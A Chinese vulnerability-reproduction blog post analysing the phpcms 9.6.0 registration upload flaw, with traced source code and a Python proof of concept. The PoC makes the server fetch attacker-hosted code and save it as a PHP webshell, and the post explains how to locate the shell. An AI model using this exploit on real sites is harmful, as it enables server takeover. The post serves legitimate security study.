美文网首页
[漏洞复现]phpcms9.6.0上传漏洞

[漏洞复现]phpcms9.6.0上传漏洞

作者: CMDY10086 | 来源:发表于2017-11-15 12:34 被阅读0次

    phpcms/modules/member/index.php中的register函数
    启用动态调试发现函数走到如下位置

    if($member_setting['choosemodel']) {
                    require_once CACHE_MODEL_PATH.'member_input.class.php';
                    require_once CACHE_MODEL_PATH.'member_update.class.php';
                    $member_input = new member_input($userinfo['modelid']);     
                    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
                    $user_model_info = $member_input->get($_POST['info']);                                      
                }
    

    payload在$_POST['info'],跟进
    在使用new_html_special_chars对<>进行编码之后,进入$member_input->get函数,该函数位于
    /caches/caches_model/caches_data/member_input.class.php
    走到

    if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
    $func = $this->fields[$field]['formtype'];
    if(method_exists($this, $func)) $value = $this->$func($field, $value);
    

    后,由于payload是info[content],所以调用的是editor函数

        function editor($field, $value) {
            $setting = string2array($this->fields[$field]['setting']);
            $enablesaveimage = $setting['enablesaveimage'];
            $site_setting = string2array($this->site_config['setting']);
            $watermark_enable = intval($site_setting['watermark_enable']);
            $value = $this->attachment->download('content', $value,$watermark_enable);
            return $value;
        }
    

    函数执行$this->attachment->download函数进行下载,跟进
    在phpcms/libs/classes/attachement.class.php中

    /**
         * 附件下载
         * Enter description here ...
         * @param $field 预留字段
         * @param $value 传入下载内容
         * @param $watermark 是否加入水印
         * @param $ext 下载扩展名
         * @param $absurl 绝对路径
         * @param $basehref 
         */
    function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
        {
            global $image_d;
            $this->att_db = pc_base::load_model('attachment_model');
            $upload_url = pc_base::load_config('system','upload_url');
            $this->field = $field;
            $dir = date('Y/md/');
            $uploadpath = $upload_url.$dir;
            $uploaddir = $this->upload_root.$dir;
            $string = new_stripslashes($value);
            if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
            $remotefileurls = array();
            foreach($matches[3] as $matche)
            {
                if(strpos($matche, '://') === false) continue;
                dir_create($uploaddir);
                $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
            }
            unset($matches, $string);
            $remotefileurls = array_unique($remotefileurls);
            $oldpath = $newpath = array();
            foreach($remotefileurls as $k=>$file) {
                if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
                $filename = fileext($file);
                $file_name = basename($file);
                $filename = $this->getname($filename);
    
                $newfile = $uploaddir.$filename;
                $upload_func = $this->upload_func;
                if($upload_func($file, $newfile)) {
                    $oldpath[] = $k;
                    $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                    @chmod($newfile, 0777);
                    $fileext = fileext($filename);
                    if($watermark){
                        watermark($newfile, $newfile,$this->siteid);
                    }
                    $filepath = $dir.$filename;
                    $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                    $aid = $this->add($downloadedfile);
                    $this->downloadedfiles[$aid] = $filepath;
                }
            }
            return str_replace($oldpath, $newpath, $value);
        }   
    

    函数中先对$value中的引号进行转义,然后用正则匹配

    $ext = 'gif|jpg|jpeg|bmp|png';
    ...
    $string = new_stripslashes($value);
    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    

    这里正则要求满足src/href=url.(gif|jpg|jpeg|bmp|png),构造payload(<img src=http://url/shell.txt?php#.jpg>)
    符合这一格式
    程序会用$remotefileurls[$matche] = $this->fillurl($matche,$absurl,$basehref);来处理url中的锚点
    之后#.jpg会被删除因此后缀变成了php。继续执行后调用copy函数下载。

    获取shell途径的方法:
    程序下载后回到了register函数中

    if(pc_base::load_config('system', 'phpsso')) {
        $this->_init_phpsso();
        $status = $this->client->ps_member_register($userinfo['username'], $userinfo['password'], $userinfo['email'], $userinfo['regip'], $userinfo['encrypt']);
        if($status > 0) {
            $userinfo['phpssouid'] = $status;
            //传入phpsso为明文密码,加密后存入phpcms_v9
            $password = $userinfo['password'];
            $userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']);
            $userid = $this->db->insert($userinfo, 1);
            if($member_setting['choosemodel']) {    //如果开启选择模型
                $user_model_info['userid'] = $userid;
                //插入会员模型数据
                $this->db->set_model($userinfo['modelid']);
                $this->db->insert($user_model_info);
            }
    
    当$status >0时会执行insert操作。具体执行的语句为
    Insert into `phpcmsv9`.`v9_member_detail` (`content`,`userid`) values
    ('&lt;img src=http://127.0.0.1/uploadfile/2017/0412/20170412052234801.php&gt;','2')
    

    而该表没有content列,因此会产生报错返回shell路径
    若$status<0
    phpcms/modules/member/classes/client.class.php

        /**
         * 用户注册
         * @param string $username  用户名
         * @param string $password  密码
         * @param string $email     email
         * @param string $regip     注册ip
         * @param string $random    密码随机数
         * @return int {-1:用户名已经存在 ;-2:email已存在;-3:email格式错误;-4:用户名禁止注册;-5:邮箱禁止注册;int(uid):成功}
         */
        public function ps_member_register($username, $password, $email, $regip='', $random='') {
            if(!$this->_is_email($email)) {
                return -3;
            }
             
            return $this->_ps_send('register', array('username'=>$username, 'password'=>$password, 'email'=>$email, 'regip'=>$regip, 'random'=>$random));
        }
    

    可见用户名邮箱尽量随机
    phpsso没有配置好时 $status为空,同样不能得到路径

    function getname($fileext){
        return data('Ymdhis').rand(100,999).'.'.$fileext;
    }
    

    时间加上三位随机数,很好爆破

    176}LQABW)2)MYD_B$UL6)D.png

    简化版poc

    import re
    import requests
    
    url = 'http://192.168.42.133/phpcms/install_package'
    def poc(url):
        u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
        data = {
            'siteid': '1',
            'modelid': '1',
            'username': 'test',
            'password': 'testxx',
            'email': 'test@test.com',
            'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
            'dosubmit': '1',
        }
        rep = requests.post(u, data=data)
    
        shell = ''
        re_result = re.findall(r'&lt;img src=(.*)&gt', rep.content)
        if len(re_result):
            shell = re_result[0]
            print shell
    

    相关文章

      网友评论

          本文标题:[漏洞复现]phpcms9.6.0上传漏洞

          本文链接:https://www.haomeiwen.com/subject/hxmcvxtx.html